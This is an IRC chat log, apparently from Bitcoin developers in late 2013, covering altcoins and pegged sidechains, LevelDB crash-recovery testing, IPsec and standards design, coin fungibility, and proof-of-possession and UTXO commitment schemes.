15:16 < adam3us> jtimon: ok say someone wanted to implement freimarket extensions to make them available to bitcoin scripting.
15:17 < jtimon> cool
15:17 < adam3us> jtimon: they could do that using dogecoin or btc... you choose
15:17 < adam3us> jtimon: (and i like freimarket script extensions a lot... a couple of them i thought about before i saw it, very elegant and minimal!)
15:17 < jtimon> the hardfork on btc is much more difficult
15:18 < jtimon> so I think altcoins will have it first
15:18 < adam3us> jtimon: thats the point of bitcoin-staging and btc-peg. make that hard fork, then other hard-forks can happen in pegged-alts
15:18 < jtimon> probably freicoin first, then a freicoin-without-demurrage fork or several of them...
15:19 < adam3us> jtimon: thats why i said gmaxwell called it to the one change to rule them all - its literal, other forks dont need forks after that
15:19 < jtimon> just like can happen in non-pegged alts much more easily I still don't see the point
15:20 < jtimon> the whole pegging stuff is a burden in your design I don't see what it adds other than calm some of your "digital scarcity" fears
15:20 < adam3us> jtimon: the point is where woud you rather have freimarket extensions available in bbqcoin or to btc users
15:21 < jtimon> to all users
15:21 < jtimon> but are bbq devs going to rebase their code?
15:21 < jtimon> maintain it?
15:21 < adam3us> jtimon: no really teh original motivation is the unfortunate conflict between the need to be careful with btc changes, to preserve value, and the desire to implement known useful improvements
15:22 < adam3us> jtimon: bbq are a joke, thats my point; it'll probably flame out at some point when the dev gets bored and it breaks
15:22 < jtimon> I understand the motiviation, I just disagree that your proposed solution helps in any way or that altcoins are really a problem
15:23 < jtimon> many people involved in altcoins haven't seen altcoins die yet
15:23 < adam3us> jtimon: give it time. quite a few have died already in flame outs and peter outs
15:24 < jtimon> after a couple of them die in their hands they will think twice before speculating on the next proprietary altcoin
15:24 < adam3us> jtimon: btw i mean param-tweak alts... should distinguish - i am using alt as short hand for things like bbq coin an doge coin
15:24 < jtimon> they're all alts
15:24 < pigeons> probably the first ones WEEDS, 100% premined only tx fee currency, and beertokens, backed by 1 bottle of beer, have died
15:25 < jtimon> I think "backing" is a bad idea in general
15:25 < jtimon> for money
15:26 < pigeons> yes, but fun thing is you can prove something is a good or bad idea eventually
15:26 < jtimon> a year from now, there will be articles with a long list of death altcoins
15:26 < warren> it's hard for them to die
15:27 < jtimon> well, most of them are zombies as currencies anyway
15:27 < pigeons> anyway the client multicoin that sacarlson used by forking bitcoin and pulling out the parameters into config files was used by later altcoins like tenebrix and fairbrix which eventually brought litecoin even though at that point litecoin decided to fork from bitcoin again
15:28 < jtimon> yeah, multicoin was an interesting project
15:28 < pigeons> he was starting to work on plugin modules for things like difficulty adjustment filters as that started to get more complex than just changing static numbers, but then he got a real job
15:29 < pigeons> and bitcoin is kind of less interesting now that its big bucks for some
15:29 < pigeons> but for some people that makes it more interesting
15:32 < pigeons> i think a focus on decentralizing mining would be a good niche for an altcoin. i guess the tools are all there with GBT, and there are example models such as p2pool with real data to look at
15:53 < jtimon> kind of off-topic but...does anyone know if the rumors that say coinbase uses mongoDB as their primary store for financial transactions are true or not?
16:07 < nsh> jtimon, i am relatively confident they are true or not, yes
16:08 < jtimon> yeah true or not, that's what I thought
16:08 < nsh> it's always the way...
16:08 < nsh> damn you aristotle. damn you to hell...
21:49 < cfields> warren: the thing about that change, is that it affects lots of leveldb in tiny tiny ways
21:49 < gmaxwell> cfields: we should probably do some testing of level db where we fill the source code with if(atoi(getenv("diehere"))==linenumber)exit(1); and then run in a loop syncing the testnet chain and picking random numbers to die on then restarting and making sure it continues.
21:51 < cfields> heh
21:52 < cfields> gmaxwell: are you after a test for this one in particular? or general leveldb badness?
21:52 < gmaxwell> well, I always suspect more badness once some is found. :)
22:24 < cfields> heh
22:25 < cfields> gmaxwell: leveldb has a pretty extensive test-suite. I'm really not sure we could catch anything that they miss
22:26 < cfields> in your example above, looping their corruption test as long as syncing testnet would probably give the same result
22:26 < gmaxwell> cfields: well, you found bugs by inserting sleeps and killing it .. :)
22:27 < cfields> heh
22:27 < cfields> gmaxwell: actually, that does raise an interesting point
22:28 < cfields> a bash script to continuously send STOP/CONT to bitcoind could be interesting
22:30 < cfields> i don't know enough about the underlyings of those to know how much (if at all) that could simulate outside-world interference. loss of net connections, closed files, etc
22:33 < gmaxwell> mostly I want to detect cases where a sudden power off would leave the system in an unrecoverable state.
22:41 < cfields> i'm unfamiliar with what is allowed to finish after a SIGKILL. How close does that come?
22:41 < gmaxwell> a real test would be to create a special log structured block device that allows you to mount the log at any write along its history can continue from there.
22:42 < gmaxwell> sigkill is probably close enough to be interesting but just randomly sending sigkills are not because it doesn't get good coverage.
22:42 < gmaxwell> (and thats a test I've already done)
22:42 < cfields> gmaxwell: in any case, if it's important enough to you, i have dozens of small arm dev boards here that i'd be happy to setup for automation
22:42 < gmaxwell> e.g. 99% of the time you kill it doing nothing.
22:43 < cfields> though iirc you mentioned you have them at your disposal as well recently
22:43 < gmaxwell> yea, I have a couple pandaboards. that I mostly use for continious integration testing for code stuff, (e.g. arm simd)
22:44 < cfields> oh, right, i forgot to wtf you on that
22:44 < cfields> you build natively on those things?!
22:46 < gmaxwell> cfields: sure, on codec stuff the compile time is insubstantial compared to the actual tests.
22:46 < gmaxwell> and if something breaks self hosting is much easier to work with then using a remote debugger.
22:46 < cfields> interesting
22:47 < gmaxwell> I wouldn't want to work with bitcoin on them in that way... just because bitcoin takes a long time to compile (though, as you noted I did indeed compile bitcoin on one of them the other day)
22:47 < cfields> i guess i've gotten so used to remote debugging that the idea of debugging on embedded would never enter my mind
22:48 < cfields> though i suppose that really doesn't make much sense, considering their speeds these days
22:48 < cfields> "back in my day..." and all that :)
22:52 < gmaxwell> yea indeed, well I was there too at one point.. but when I started dealing with dual core 1ghz embedded devices...
22:53 < cfields> one of my first embedded projects was porting xbmc (and its ~50 dependencies) to a 400mhz mips SOC
22:54 < cfields> unfortunately, i think that mentality has stuck with me
23:07 < warren> cfields: did you submit the memory barrier thing anywhere?
23:07 < warren> cfields: given that it isn't wrong and it seems to have done something, perhaps more eyes ...
23:10 < cfields> warren: heh, it must be torture inside your head :)
23:12 < cfields> doing now
23:27 < cfields> warren: https://code.google.com/p/leveldb/issues/detail?id=218
23:34 < warren> cfields: thank you
--- Log closed Thu Nov 28 00:00:00 2013
--- Log opened Thu Nov 28 00:00:00 2013
--- Day changed Thu Nov 28 2013
05:52 < gmaxwell> nice numbers on my display here: high: 1100.00 low: 1001.00
06:01 < TD> amazing
06:01 < TD> heh. someone sent me a fee-less transaction yesterday. it took about 22 hours to confirm. seems like that's the normal waiting period at the moment.
06:02 < TD> for low-pri transactions (it was a return to sender kind of thing)
06:15 < Luke-Jr> sounds reasonable
06:16 < gwillen> I've been telling people "typically not more than a day", although I imagine that won't stay true forever
06:21 * TD remembers when all transactions were free and confirmed immediately
06:22 < warren> and unicorns were $2.99/lb
06:23 < TD> more evidence bitcoin is taking off in china - the number of emails i'm getting in broken english from chinese people with questions or who are trying to use bitcoinj, up infinity%
06:23 < gmaxwell> ::shrugs:: I did a zero fee transaction last week that confirmed in under two minutes.
06:23 < TD> yeah. priority is a good thing.
07:44 < warren> http://www.coinchoose.com/charts.php
07:44 < warren> what the heck is QRK
07:45 < _ingsoc> That's "Quark Coin", whatever the heck that is.
07:45 < gmaxwell> I would guess something called "quark"
07:46 < _ingsoc> "Quark Coins are based on the original idea of Bitcoin but improved, more secure, with improvements to design and security."
07:46 < _ingsoc> Where have I heard that before? :/
07:47 < gmaxwell> apparently "more secure" means some @#$@ed up homebrew pow function
07:48 < gmaxwell> ... with 30 second blocks.
07:48 < gmaxwell> so they have a really slow custom pow, and really fast blocks.
07:48 < gmaxwell> and they call this more secure.
07:48 < _ingsoc> And bad grammar, don't forget the grammar!
07:49 < gmaxwell> and ... seem to have no source code?
07:49 < _ingsoc> That's too complicated for the users!
07:49 < gmaxwell> oh there it is.
07:49 < Emcy> legit question, how many 3 letter contractions can there be
07:49 < gmaxwell> almost as hard as finding the bitcoin source. :P
07:49 < Emcy> and can we hope that the tide of altcoins will recede after theyre all taken
07:49 < gmaxwell> lots once you use greek
07:50 < _ingsoc> Soon we will move to a new suffix, like how Zerocoin will be Zerocash.
07:50 < _ingsoc> Wait, that wonh't change anything.
07:50 < Emcy> gmaxwell fratcoin?
07:50 < Emcy> by bros for bros
07:51 < _ingsoc> Max Keiser said someone should make Keisercoin.
07:51 < _ingsoc> Watch it happen.
07:51 < Emcy> cosbycoin happened
07:51 < gmaxwell> _ingsoc: oh, have they actually made public the zerocash name?
07:51 < _ingsoc> He only said they're thinking about calling it that.
07:51 < _ingsoc> Does he have beef with you guys somehow?
07:52 < gmaxwell> Who?
07:52 < _ingsoc> Matt Green.
07:53 < Emcy> no one exactly shitted on zerocoin v1 did they
07:53 < gmaxwell> Not as far as I know, I had a pleasant conversation with him. He asked me if I'd be willing to work on his thing, I told him I would, after chatting a bit. He said he'd send the paper, hasn't done so.
07:54 < _ingsoc> How do I talk you into something like that?
07:54 < gmaxwell> then he started posting tweeting bragging about it, which I found a little .. unfortunate, because I don't think he's being completely frank about the tradeoffs involved, but I feel a little hand tied because I don't want to go blabbing the details of their system.
07:54 < _ingsoc> Do I need to go get a professorship and a Twitter account? :(
07:56 < gmaxwell> _ingsoc: well, as I said before, I don't think most of the alt ideas are actually interesting. The zero cash stuff is, well, except for some of the limitations. But ignoring them it's a material improvement over what we have in bitcoin.
07:57 < _ingsoc> That's fair enough. In any case, your efforts are very much needed on Bitcoin specifically.
07:57 < gmaxwell> well because of some of the limiations I don't expect the zerocash alt to actually be a long term success, but it would be a useful science project.
07:58 < _ingsoc> There are so many interesting ideas to explore, and it's a pity we can't find more people to do it. The money is there, even though you guys demand a pretty penny nowadays. You just need the right model and you'll attract lots of new people.
07:59 < Emcy> perhaps he thinks the best way to get it implemented in bitcoin is via external market pressure
07:59 < Emcy> rather than try and wade thru the internal politics
08:01 < Emcy> assuming he think s ZCv2 is good to go too, they were pretty triumphant about v1 and it was actually completely impractical right now
08:01 < gmaxwell> not only was ZCv1 impratical, but you see how quickly its being replaced by something much better.
08:05 < Emcy> yeah. If such effeciency gains as 98% as claimed were possible, i wonder why they announced the first time.
08:05 < Emcy> assuming its incremental and not some sort of huge re-innovation
13:10 < n0g> I told all my friends that I hang around the BTC devs.. *so proud*
13:10 < n0g> I love you guys.
13:10 < n0g> :D
13:10 < n0g> You make me a celebrity overnight..
13:10 < Einz> lol
13:10 < n0g> LOL
13:21 < jrmithdobbs> cfields: I used a one liner and run it. Stuffed service names in an array and used $RANDOM to decide which instance and which signal (stop, cont, term, kill, int) .. It's two lookup tables and sv ${sigtbl[$(($RANDOM % 5)) ]} ${svtable[$(($RANDOM % 6))]} in a sleep $(($RANDOM % 90)) loop
13:22 < jrmithdobbs> cfields: It's zero work using the right tools. ;p
13:23 < jrmithdobbs> If you don't like the lcw/mcw (I forget which bash uses) provided by random you can $(myfunc_that_printfs_dev_random)
13:28 < jrmithdobbs> cfields: Like gmaxwell said though, such tests don't give good coverage/repeat ability even when there's a known issue that test will eventually trigger ...
--- Log closed Fri Nov 29 00:00:17 2013
--- Log opened Fri Nov 29 00:00:17 2013
16:34 < TD> one of the guys who worked on it said that people associated with the NSA kept making suggestions during the spec process that sounded reasonable to non-experts, but actually broke the security
16:36 < petertodd> TD: it's a good thing we've never ran into that problem with Bitcoin
16:37 < jrmithdobbs> gmaxwell: we don't know for sure but we know they're actively targeting specs now why wouldn't they have been 15-30 years ago while the others were written? Whose to say we haven't ignored some of their infiltration as simple mistakes/advancements on the state of the art
16:38 < gmaxwell> TD: hard to know for sure, since even honest experts make suggestions with bad security here and there.
16:38 < maaku> petertodd: that we know of
16:38 < jgarzik> anybody gonna be in DC next week?
16:38 < TD> yeah i dunno what to make of the ipsec allegation
16:38 * jgarzik decided to attend, on short notice
16:39 < TD> you'll watch live?
16:39 < petertodd> jrmithdobbs: the NSA aren't omniscient, even they probably don't know how to write useful backdoors into a lot of the core algorithms due to constraints on the math; I understand that no-one has ever come up with a plausibly backdoored hash function with the same type of construction as SHA256 for instance.
16:39 < jrmithdobbs> TD: the ipsec allegations are plausible but don't matter, we know it's broken by design ("we" being anyone familiar with the crypto who has actually tried to implement it) for a while now
16:39 < TD> i don't know much about ipsec so i'll take your word for it
16:39 < jgarzik> TD, dunno :) If it's not open to the public, that's the only alternative.
16:40 < petertodd> maaku: those merkle mountain ranges even sound dangerous
16:40 < jrmithdobbs> TD: the interesting question is was it's design broken by infiltration of the process or by the fact that it's process was design by comitte in the first place? ;p
16:40 < gmaxwell> jrmithdobbs: there are a lot of IETF protocols that are uselessly complex. Some of them get implement none the less (e.g. SIP)
16:40 < TD> i'm not a big fan of designing specifications by committee
16:40 < jrmithdobbs> me either
16:40 < TD> but then again designed by individual doesn't always work either
16:41 < jrmithdobbs> and tls and ipsec are the best examples of it failing
16:41 < TD> e.g. jabber "xml is fashionable let's use that"
16:41 < TD> tls wasn't designed by commitee, right. it's basically SSL which was designed by a few guys at netscape
16:41 < jrmithdobbs> which is why i said tls not ssl
16:41 < jrmithdobbs> the extensions were all by comittee
16:41 < TD> ah ok
16:42 < TD> gavinandresen has some fun stories about when he worked on standardising VRML
16:42 < gmaxwell> TD: most IETF documents are the work of one or two authors. E.g. in the case of jabber the thing was dropped half way fully formed (including the trendy XML) right on the IETFs doorstep. IETF generally works more like peer-review than a design committee.
16:42 * TD remembers the 3D shark vrml demo
16:42 < Luke-Jr> gavinandresen is to blame for VRML?
16:42 < TD> yeah sure, jabber started as jeremie millers pet project and went from there
16:43 < maaku> I'd much rather someone here take a few months to design IPSec-done-right, we implement it, use it, and standardize after the fact
16:43 < jrmithdobbs> and now it's jeremie millers' pet project as deployed by google
16:43 < jrmithdobbs> basically
16:43 < jrmithdobbs> ;p
16:43 < TD> it did pretty well yeah
16:43 < jrmithdobbs> (bleh xmpp)
16:43 < TD> maaku: what does done right mean?
16:43 < Luke-Jr> XMPP is better than the alternatives, at least.
16:44 < maaku> TD: secure by default, easy to understand and use, hard to get wrong
16:44 < petertodd> maaku: secure against what type of attacker?
16:44 < gmaxwell> maaku: there have been a bunch of proposals, but really done right is not the right objective. The right way of doing it doesn't work because it doesn't get past the enormous installed base of nats and firewalls.
16:44 < jrmithdobbs> maaku: the problem with ipsec is it tries to solve 10 different problems and ends up doing so very poorly because of it
16:45 < gmaxwell> maaku: personally I'm a fan of TCPcrypt: http://tcpcrypt.org/ (though I wish it were using curve25519)
16:45 < jrmithdobbs> we have replacements for each individual component of ipsec ... just not at the transport layer
16:45 < jrmithdobbs> where it would be, you know, useful
16:45 < maaku> cool i didn't know about tcpcrypt
16:46 < jrmithdobbs> gmaxwell: what is that *curve one someone released recently that's similar to sctp (iirc)
16:46 < jrmithdobbs> based loosely on the dnscurve work iirc
16:47 < jrmithdobbs> curvecp!
16:48 < Luke-Jr> gmaxwell: isn't it builtin to IPv6 already?
16:48 < jrmithdobbs> there was a revision or alteration of it by someone else more recently (maybe @tarcieri) but I can't find the name/project i'm thinking of specifically
16:48 < gmaxwell> Luke-Jr: "lol"
16:48 < petertodd> Luke-Jr: nope
16:50 < phantomcircuit> iirc ipsec is required of ipv6 but nobody is actually implementing it that way
16:50 < TD> yeah stuff like tcpcrypt is gret
16:50 < TD> i think that's the right approach
16:50 < phantomcircuit> also ipsec is crazy complicated
16:50 < jrmithdobbs> ipsec is worthless
16:50 < TD> the shared secret thing is interesting
16:50 < jrmithdobbs> (says probably the only person in the country that had a working transport mesh network setup in his house for the longest time)
16:51 < phantomcircuit> jrmithdobbs, i tried to setup ipsec between two boxes on my lan once and it just refused to work
16:51 < jrmithdobbs> phantomcircuit: see above, i got it working
16:51 < TD> it seems to be a dead project though? last change was 2 years ago
16:51 < jrmithdobbs> phantomcircuit: i even got it working WELL and CORRECTLY but it wasn't worth the effort.
16:52 < jrmithdobbs> phantomcircuit: it's convoluted and you actually have to understand both the spec and the underlying primitives, in some cases, to have a shot in hell of even figuring out why it's not working, let alone fixing it =/
16:52 < phantomcircuit> which of course 99.99% of sysadmins wont do
16:53 < phantomcircuit> and 99.999999% of people wont
16:53 < jrmithdobbs> phantomcircuit: right, and that's without even going into the fun subtle differences between different spec versions of the major components (eg, isakmp vs ikev2)
16:54 < jrmithdobbs> phantomcircuit: and then on top of that you can have problems between different implementations that implement the same spec versions and primitives just because of how the spec is so convoluted and unspecific
16:54 < jrmithdobbs> fuck ipsec.
17:02 < phantomcircuit> jrmithdobbs, that was my distinct impression
17:02 < phantomcircuit> jrmithdobbs, so NSA subversion or just normal design by commitee
18:11 < adam3us> https://twitter.com/DataTranslator/status/401410639354019840
18:11 < adam3us> yifu responds "@adam3us see http://www.coindesk.com/bitcoin-tracking-proposal-divides-bitcoin-community/
Coin Validation is not trying to police Bitcoin or bitcoins."
18:12 < adam3us> ho hum... no but they are hoping their customers will and that it will be viral, and as a side effect will kill fungibility
18:14 < gmaxwell> adam3us: yea, I don't get the people fixating on goverment imposition in general, as if badness can only be emitted by governments.
18:14 < gmaxwell> People seem to not think that bussinesses enforcing it out of paranoia and cargoculting good practices would be somehow better.
18:15 < adam3us> the verified-by-visa of the bitcoin world
18:17 < MC1984> gmaxwell thats stems from fear of govt action
18:18 < MC1984> people think maybe if they make a good show of it perhaps the govt wont steamroll in with regulation
18:18 < MC1984> maybe thats right
18:19 < gmaxwell> MC1984: in some cases
e.g. even with no fear of government action you can happily throw away a couple percent of 'likely troublemakers' for pure business reasons, but regardless not directly.
18:19 < adam3us> MC1984: well like i said, they just need to issue AML/KYC certs for cases where its needed <eom> why would they want to kill fungibility
18:19 < MC1984> but its like locking your keys in the house so that you dont lose them
18:19 < phantomcircuit> gmaxwell, or like 20%
18:19 < phantomcircuit> (or 90+% like i currently do)
18:19 < MC1984> you cant troublemake with bitcoin though, from the view of a merchant
18:20 < MC1984> why would most of them care where coins come from
18:20 < phantomcircuit> MC1984, oh boy is that not true
18:20 < MC1984> phantomcircuit assuming merchant has sane policies
18:20 < phantomcircuit> did you see the crazy lady saying im killing her dog?
18:20 < MC1984> nope
18:20 < phantomcircuit> just google patrick strateman
18:20 < adam3us> MC1984: they only would feel they need to care because of the existence of taint; if taint were fixed they would have no reason to even give it a second thought
18:21 < MC1984> "just google me"
18:21 < phantomcircuit> MC1984, it's literally the first result
18:22 < phantomcircuit> if i cared more i'd start giving reporters sensational comments to change that
18:22 < phantomcircuit> lol
18:22 < MC1984> yeah im just saying "just google me and all will be clear"
18:22 < MC1984> more like patrick bateman amirite
18:23 < gmaxwell> phantomcircuit: when that person was posting on the forum I thought they were threatening to kill your dog
18:23 < gmaxwell> because they were all "I know where you live and now the dog will die because you didn't give me money!!"
18:23 < phantomcircuit> gmaxwell, she has threatened to kill both me my mother and my dog
18:23 < phantomcircuit> ironically blaming me for killing her dog
18:24 < MC1984> which one of those links is the moneyshot
18:27 < MC1984> yeah thats weird, its like a whole narrative
18:28 < phantomcircuit> yeah
18:28 < phantomcircuit> the thing is
18:28 < phantomcircuit> i have literally no record of her ever
14:40 < gmaxwell> And this is important
if we can't prevent the data from containing nasty stuff, okay well by the time anyone complaints the data can be deleted from all computers _forever_. Thats protective of the system.
14:40 < petertodd> The problem is that there is absolutely nothing stopping a miner from changing their software to ignore that rule, for instance because some large pools got hacked and the attacker deleted the data and no-one feels like screwing up everything for that minor feature.
14:40 < petertodd> Whereas actual proof-of-posession proves that the miner really did have that data.
14:40 < petertodd> And proof-of-posession still lets you define a deletion period.
14:41 < gmaxwell> huh? It's the same as any other network rule (once deployed). Nodes will reject blocks that they didn't get the attached data for, until the block is well and burried.
14:42 < gmaxwell> petertodd: if you stuff the data into the output then the data can never be deleted. :(
14:42 < petertodd> No, unlike other network rules you *can't* verify that it was actually followed after the fact because the data doesn't exist anymore.
14:43 < gmaxwell> petertodd: you can verify it was followed _during the window_. So unless you hypotheize a >window reorg, you can't.
14:43 < petertodd> gmaxwell: I'm not saying stuff data into an output, I'm saying put a hash of the data in your specially marked output, provide it with relaying, *and* incorporate a proof-of-posession into the proof-of-work scheme.
14:43 < gmaxwell> okay okay whatever.
14:43 < gmaxwell> Look, good luck changing the proof of work. :P
14:43 < petertodd> gmaxwell: No you can't. Miners can agree to not follow it and you have no way of knowing. Where as with any other network rule the data is still there and you can verify it yourself.
14:44 < gmaxwell> petertodd: you won't accept their blocks for some huge gap
indeed, this data has only SPV security past that gap. Thats the point.
14:44 < petertodd> gmaxwell: But you *are* talking about a soft-fork, and it's not a hard proof of work, just a "well my PoW spat out this nonce, and I'll quickly provide a merkle path picked randomly to prove I had the data"
14:45 < petertodd> gmaxwell: Yeah, that's kinda my point... you've created a system that can't have better than SPV security, while with the slight change of just adding a proof-of-posession it has full security.
14:45 < gmaxwell> These things aren't mutually exclusive either, if your want your proof of possession just strenghtens what I'm suggesting, but I don't think its needed.
14:45 < petertodd> Yes, it strengthns it from very weak SPV to something much stronger; why not take that trivial extra step if you are going to all that trouble?
14:45 < gmaxwell> adding proof of possession gums up deleted forever,
14:46 < petertodd> No it doesn't, those are just merkle paths and anyone interested can retain sufficient data so that they can verify the merkle paths.
14:46 < gmaxwell> because you need for forever store the possession proof
which is smaller than the data (E.g. if its a cut and choose that only shows one item)
14:47 < gmaxwell> petertodd: no because then people didn't possess the data, they might have possessed H(data)
14:47 < petertodd> But that's it: you *don't* need to even store the item, or even the merkle path at all unless you want to prove your data was visible!
14:47 < gmaxwell> otherwise you could call the txn itself with the hash a proof of possession: you can't prove that they had more than the hash. :P
14:47 < petertodd> No, the algorithm is calculate H(nonce | data), and everyone other than those interested in the data stores nothing more than the tip of the merkle path.
14:48 < gmaxwell> for your PoP the proof that gets committed will have to include at least one of the data elements under proof or its not actually a PoP.
14:48 < gmaxwell> otherwise it's just SPV security. :P
14:48 < petertodd> But the thing is the only people who care that the data was actually visible, and need to prove that, are the people with the data! Everyone else *can* throw away the PoP's.
14:49 < gmaxwell> Okay, H(nonce|data) is interesting.
14:49 < petertodd> Remember, we're calculating H(nonce | data) for each bit of data (or a subset), making a merkle tree of that, and putting the digest in our block somewhere. We temporarily relay the PoP's, and then throw them out after n blocks.
14:49 < petertodd> People who need to prove visibility save those PoP's when they are being created, everyone else throws them away.
14:50 < gmaxwell> But I don't follow "Everyone else can throw away"
if you make it part of block validation then everyone who wants to validate a block needs the data, otherwise they might accept an invalid one.
14:50 < petertodd> Right, but they only need to store it temporarily.
14:50 < petertodd> For the average miner of course they're just getting SPV security for the PoP validation... but they don't care!
14:51 < petertodd> (I mean, they're getting SPV security that PoP validation was done correctly *in the past* if they are synching up fresh and weren't mining in the past)
14:51 < gmaxwell> petertodd: so, lets say 99% of miners just have SPV security for the pop validation. And oops. some minority cheats them. What happens?
14:52 < gmaxwell> I'm still trying to grasp what PoP really provides over my ripabble data with SPV security. Both cases reduce to SPV security at some point or you're stuck keeping around data, right?
14:52 < petertodd> Nothing without fraud proofs, and because PoP's are relayed in full temporarily, you can be sure that the last, say, 144 blocks were done honestly.
14:53 < petertodd> The thing is my case reduces to SPV security for the people who don't care if the data was visibile, your case reduces to SPV security for the people who need the security!
14:53 < gmaxwell> but you could also be sure that last 144 blocks were honest just by not accepting them without getting a copy of the rippable data.
14:53 < petertodd> Yes, but you have no way of proving that in the future.
14:54 < gmaxwell> Got it.
14:54 < gmaxwell> Cool.
14:54 < petertodd> Heh
14:55 < petertodd> ....we gotta start writing papers for this shit...
14:56 < gmaxwell> Fuck that, make it real. :P
14:56 < gmaxwell> In any case, now I'm trying to figure how how simply it could be implemented.
14:56 < petertodd> Yeah... actually I had a nice idea for a timestamping alt-chain that I should implement.
14:57 < petertodd> Though rippable data might be easier to implement...
14:57 < petertodd> I wish the scripting system was more sophisticated; you could write scripts that evaluate the proofs and pay miners for having made them directly.
14:57 < gmaxwell> I think that prior to today it hadn't been clear to me that a strong short term visibility proof was completely compatible with not-perpetual-storage.
14:58 < gmaxwell> But now we have a problem that some crap scheme that results in perpetual storage is realistically what is going to get deployed.
14:59 < petertodd> I've also been fleshing out a alt-coin with decentralized mining that depends a lot on proof-of-visibility so it's been on my mind.
14:59 < gmaxwell> because it's 100x easier than anything we discussed.
14:59 < petertodd> Yup, you can't win there.
15:00 < gmaxwell> so the question I have: is there a limited form of the trivial dumb way that won't preclude implementing something smarter later?
15:02 < petertodd> I'd say OP_RETURN is exactly that - you can always just use the UTXO proofs + sha256 midstates as your way of tossing the data when safe with a limited impact on long-term validation.
15:02 < gmaxwell> IIRC the order of the transaction isn't so helpful for midstate compression.
15:03 < petertodd> Yeah, because the txin's come first.
15:04 < petertodd> But other than one outpoint you can verify everything, and UTXO proofs themselves will eventually offer an alterative to the standard transaction merkle tree anyway.
15:05 < petertodd> Once it's a hard rule I'd say that's just as good proof as anything else.
15:06 < gmaxwell> this sounds like a reason to restrict the OP_RETURN to be the last txout though.
15:06 < petertodd> No, restrict it to the first txout.
15:07 < petertodd> Although a sane UTXO proof system will make a merkle tree within the transaction itself, IE hashing txins and txouts.
15:07 < gmaxwell> right yea, I'd proposed making the transactions a merkel tree like a year ago to make it easier to subset the 2#$#@ data.
15:08 < petertodd> PoW is always energy anyway, so you just need to store the parts of blocks you need to prove + UTXO proof stuff + block header and verify that. After a year or two that's a year's worth of PoW - pretty damn good confidence.
15:08 < gmaxwell> petertodd: hm. putting it first doesn't help because you can't even check the signatures anymore. :(
15:08 < petertodd> From an energy point of view the last 3 months of PoW mean as much as the other 4 years.
15:09 < gmaxwell> petertodd: sure though at some point we'll reach an equlibrium
15:10 < petertodd> Right, but you can even stuff your data in the scriptSig if you hash it so that it's authenticated. Though the signatures of the first txout are still meaningless.
15:10 < petertodd> An equilibrium sure, but the point is you can have very good security by just waiting for the PoW to build up.
15:46 < adam3us> maybe i missed the very beginning of this topic but whats the motivation for proof of possession?
15:47 < adam3us> (I am inferring a proof of possession of a preimage of the hash stuffed int the block chain - but why, what do you use it for, what could you build on it?)
15:51 < Luke-Jr> adam3us: you prove it's a hash
15:51 < Luke-Jr> adam3us: ie, you're not spamming data
15:51 < adam3us> ok so to stop people stuffing up the blockchain with stupid stuff that doesnt belong is the motivation? that sounds like a good idea
13:53 < petertodd> nsh: anyway, the dark wallet guys are interested in doing it, but no specific timeline - cj is much higher priority, as is openpgp stuff for payment protocol/payment protocol-like stuff
13:53 < maaku> ok wizards, I'm trying to decide if the forward-diff, reverse-diff or both should be checkpointed in the utxo validation index proposal
13:54 < maaku> in addition to the committed root hash
13:54 < TD> grrrr. this time the irc app crashed
13:54 < TD> sigh
13:54 < petertodd> maaku: explain?
13:55 <@gmaxwell> nsh: I don't think anyone is using characteristic 2 for pairing, at least not in the open world... everything is using the 254 bit BN curve, which is on a prime field.
13:56 < maaku> my diff I mean what I called an "operational proof" in the previous BIP - a list of key,value pairs to insert/update, a list to delete, and paths through the merkle structures to accomplish that
13:56 < maaku> a forward-diff would take you from prevBlock to currentBlock (e.g. summarize the effect the block has on the index structure)
13:57 < maaku> a reverse diff is an undo block : take you from the current block to the previous block
13:57 < maaku> it should be possible to turn a forward diff into a reverse diff and vice versa
13:57 < nsh> gmaxwell, right. i think it's much closer to a curiosity than a catastrophy for the foreseeable future. but i don't know the math at all, so can't guess at the likelihood of eventual generalization of the technique
13:57 < maaku> since you have both the information being added (explicitly) and the information being removed (from the path)
13:58 < petertodd> maaku: so what's the use-case for those deltas?
13:58 < maaku> petertodd: well, a reverse delta could be used to recover from a reorg during pruned operation
13:59 < maaku> but beyond that, that's why I'm asking :)
13:59 <@gmaxwell> nsh: it's only like the Nth attack on characteristic 2 things, so I don't think any engineering-cryptographers (as opposed to theoretical-cryptographers) are the least bit excited by it.
13:59 < petertodd> maaku: but why does that need to be committed?
13:59 < petertodd> maaku: having explicit committed deltas would also make proving fraud even more complex, because now the deltas themselves may be fraudulent
14:01 < nsh> gmaxwell, the paper mentions "medium" characteristic too so perhaps there's some ground being made. dunno
14:01 < maaku> petertodd: a delta would give you a listing of the inputs spent just in that block though
14:01 < maaku> i know that's something you've advocated - is it still relevant if there is a committed validation index?
14:01 < nsh> medium appears to mean "3" though
14:02 < nsh> in which case practical applications should properly be described as employing fields of "unfathomable" characteristic :)
14:02 < petertodd> maaku: ah, good point. :) of course, I advocated *just* having the deltas
14:03 < petertodd> maaku: see, for a wallet syncing txs, they want to know two things: a new txout exists relevant to them, and a txout was spent that they owned
14:03 < maaku> another point is storageless mining / validation - the delta (forward in this case) provides the information you need to update mempool proofs
14:03 < petertodd> maaku: so if you only have deltas, you want both. if you have utxo + deltas, then you only need the "was spent" delta, the "is new utxo" is provided by the utxo set commitment
14:04 < petertodd> maaku: for memoryless operation you don't need to commit the forward delta: you provide it to update the UTXO set, and the fact that the forward delta applied to the existing UTXO set results in the new set is the proof
14:06 < maaku> which is what the forward delta is - it contains the relevant portions of the utxo set
14:07 < petertodd> maaku: yes, but my point is there is no reason to commit it
14:07 <@gmaxwell> nsh: I mean, ec with highly composite fields is subject to index calculus and is known insecure forever. People use "unfathomable" characteristic now in practice (this isn't to say that there aren't commercial characteristic 2 systems, there probably are
14:07 < petertodd> maaku: committing it just fixes the way it's designed in stone
14:08 < petertodd> maaku: and come to think of it, the same argument applies to the reverse delta: you're better off just proving to SPV clients that the UTXO still exists in the set for every block when it comes to showing them their utxo wasn't spent
14:08 * nsh nods
14:08 < petertodd> maaku: there's some size tade-offs here, but the difference isn't much and I'm very hesitent to make things more complex for a minor decrease in bandwidth
14:10 < maaku> petertodd: what about truly storageless nodes (which just keep the current merkle root + mempool + some temporary space for proof processing)?
14:10 < maaku> my thought was that by committing the reverse delta they can work backwards
14:10 < petertodd> maaku: again, there's no need to commit the deltas
14:11 < petertodd> maaku: they know the deltas are valid by the fact that the UTXO root matches after the deltas are applied
14:12 < maaku> ah, so I can just query the network "what's the delta from A to B?" and verify what I get back
14:12 < maaku> ok
14:13 < petertodd> yup
